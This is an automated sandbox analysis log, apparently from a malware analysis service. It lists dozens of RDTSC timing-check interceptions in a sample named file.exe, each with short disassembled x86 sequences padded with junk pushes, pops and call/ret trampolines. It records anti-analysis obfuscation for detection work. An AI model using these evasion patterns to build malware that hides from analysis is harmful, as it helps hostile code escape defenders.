Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38F8 second address: 9D397C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7F1511CE26h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F7F1511CE28h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 pushad 0x0000002a pushad 0x0000002b movzx edx, ax 0x0000002e jmp 00007F7F1511CE2Dh 0x00000033 popad 0x00000034 mov edx, ebx 0x00000036 popad 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D2C98h], esi 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F7F1511CE28h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 0000001Bh 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F7F1511CE2Fh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D397C second address: 9D399A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F147AEA54h 0x00000008 jmp 00007F7F147AEA4Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D399A second address: 9D399F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D399F second address: 9D39A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992DFA second address: 992E02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8BE1 second address: 9D8BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DABDE second address: 9DABFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1511CE39h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DABFC second address: 9DAC06 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F147AEA4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9DA5 second address: 9D9E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D5769h], eax 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F7F1511CE28h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov bx, AFBAh 0x00000033 xor edi, 09865B4Ch 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov ebx, edi 0x00000042 mov eax, dword ptr [ebp+122D10E5h] 0x00000048 mov bl, A0h 0x0000004a push FFFFFFFFh 0x0000004c mov bx, dx 0x0000004f nop 0x00000050 push ecx 0x00000051 pushad 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 jp 00007F7F1511CE26h 0x0000005a popad 0x0000005b pop ecx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 jnc 00007F7F1511CE26h 0x00000066 jmp 00007F7F1511CE2Ah 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBC5F second address: 9DBC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBC65 second address: 9DBC6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBE25 second address: 9DBE2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBE2B second address: 9DBE30 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDB4C second address: 9DDB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDB53 second address: 9DDBEA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7F1511CE2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F7F1511CE39h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F7F1511CE28h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b jmp 00007F7F1511CE38h 0x00000030 push 00000000h 0x00000032 movsx ebx, ax 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F7F1511CE28h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000016h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D2CE9h], eax 0x00000057 xchg eax, esi 0x00000058 jng 00007F7F1511CE30h 0x0000005e push eax 0x0000005f push edx 0x00000060 push esi 0x00000061 pop esi 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DDD72 second address: 9DDD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7F147AEA46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFC73 second address: 9DFCAC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7F1511CE34h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c or di, 8F74h 0x00000011 push 00000000h 0x00000013 mov edi, dword ptr [ebp+122D318Ah] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jno 00007F7F1511CE2Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DED05 second address: 9DED09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DEDBC second address: 9DEDC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0BBB second address: 9E0BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA4Ch 0x00000009 popad 0x0000000a jmp 00007F7F147AEA55h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jnp 00007F7F147AEA4Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFE78 second address: 9DFE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFE7C second address: 9DFE89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DFE89 second address: 9DFE8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1CEC second address: 9E1CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2C07 second address: 9E2C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2C0B second address: 9E2C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2C11 second address: 9E2C61 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7F1511CE33h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, 461FDFE3h 0x00000013 push 00000000h 0x00000015 mov ebx, edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F7F1511CE28h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 push eax 0x00000034 push eax 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3E06 second address: 9E3E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F147AEA54h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3E28 second address: 9E3E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3E2D second address: 9E3E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7F147AEA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4E90 second address: 9E4F00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F7F1511CE26h 0x00000009 jmp 00007F7F1511CE39h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 xor dword ptr [ebp+122D311Ch], edi 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D1A81h], ecx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F7F1511CE28h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov edi, dword ptr [ebp+122D2B23h] 0x00000044 and ebx, dword ptr [ebp+122D18FCh] 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e jo 00007F7F1511CE26h 0x00000054 pop esi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4F00 second address: 9E4F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7F147AEA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4F0A second address: 9E4F23 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jns 00007F7F1511CE26h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1E59 second address: 9E1F22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F7F147AEA57h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F7F147AEA48h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edi, eax 0x0000002d push dword ptr fs:[00000000h] 0x00000034 movzx ebx, si 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov dword ptr [ebp+122D28F6h], ecx 0x00000044 mov eax, dword ptr [ebp+122D00D9h] 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d call 00007F7F147AEA48h 0x00000052 pop eax 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 add dword ptr [esp+04h], 00000019h 0x0000005f inc eax 0x00000060 push eax 0x00000061 ret 0x00000062 pop eax 0x00000063 ret 0x00000064 mov ebx, dword ptr [ebp+122D2AA3h] 0x0000006a push FFFFFFFFh 0x0000006c jmp 00007F7F147AEA4Fh 0x00000071 nop 0x00000072 pushad 0x00000073 jnl 00007F7F147AEA4Ch 0x00000079 jnl 00007F7F147AEA48h 0x0000007f popad 0x00000080 push eax 0x00000081 push ecx 0x00000082 push eax 0x00000083 push edx 0x00000084 jbe 00007F7F147AEA46h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0D94 second address: 9E0D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C8D second address: 9E5C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C91 second address: 9E5C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5C95 second address: 9E5CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F7F147AEA48h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D28EFh], ecx 0x0000002c push 00000000h 0x0000002e sub dword ptr [ebp+122D31C7h], ecx 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5CD2 second address: 9E5CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5ED6 second address: 9E5EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5EEB second address: 9E5EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7F1511CE26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7DC2 second address: 9E7DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7DC6 second address: 9E7E5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F7F1511CE33h 0x0000000c jmp 00007F7F1511CE2Dh 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push edx 0x00000016 mov bx, di 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F7F1511CE28h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 jl 00007F7F1511CE2Ch 0x0000003c mov dword ptr [ebp+122D35FCh], ebx 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007F7F1511CE28h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 00000017h 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e mov bh, 25h 0x00000060 mov dword ptr [ebp+122D3124h], edx 0x00000066 xchg eax, esi 0x00000067 pushad 0x00000068 jmp 00007F7F1511CE2Dh 0x0000006d push eax 0x0000006e push edx 0x0000006f ja 00007F7F1511CE26h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E5A second address: 9E7E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA351 second address: 9EA356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7F8A second address: 9E7F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F7F147AEA48h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8044 second address: 9E804A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E804A second address: 9E8062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F147AEA54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC9E8 second address: 9EC9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0BF1 second address: 9F0BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0BF7 second address: 9F0C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F7F1511CE26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0C06 second address: 9F0C1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F058A second address: 9F058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F058E second address: 9F05AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F147AEA54h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F06F4 second address: 9F06F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98722F second address: 987234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F61CE second address: 9F61D8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F61D8 second address: 9F61DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBD00 second address: 9FBD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBD06 second address: 9FBD10 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F147AEA46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC7F6 second address: 9FC807 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F1511CE2Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC807 second address: 9FC80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC80D second address: 9FC813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06D7A second address: A06D95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F7F147AEA46h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F7F147AEA4Bh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06D95 second address: A06D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06D99 second address: A06DC4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F147AEA46h 0x00000008 jnc 00007F7F147AEA46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F7F147AEA53h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06DC4 second address: A06DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06DC8 second address: A06DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06DD3 second address: A06DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06DD8 second address: A06DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F147AEA4Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06DE9 second address: A06DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05ACE second address: A05AEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA53h 0x00000007 jng 00007F7F147AEA46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C68 second address: A05C87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F7F1511CE2Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F7F1511CE26h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C87 second address: A05C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C8D second address: A05C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C91 second address: A05C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C95 second address: A05CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06087 second address: A0608B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0608B second address: A0608F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06202 second address: A0620E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F147AEA46h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
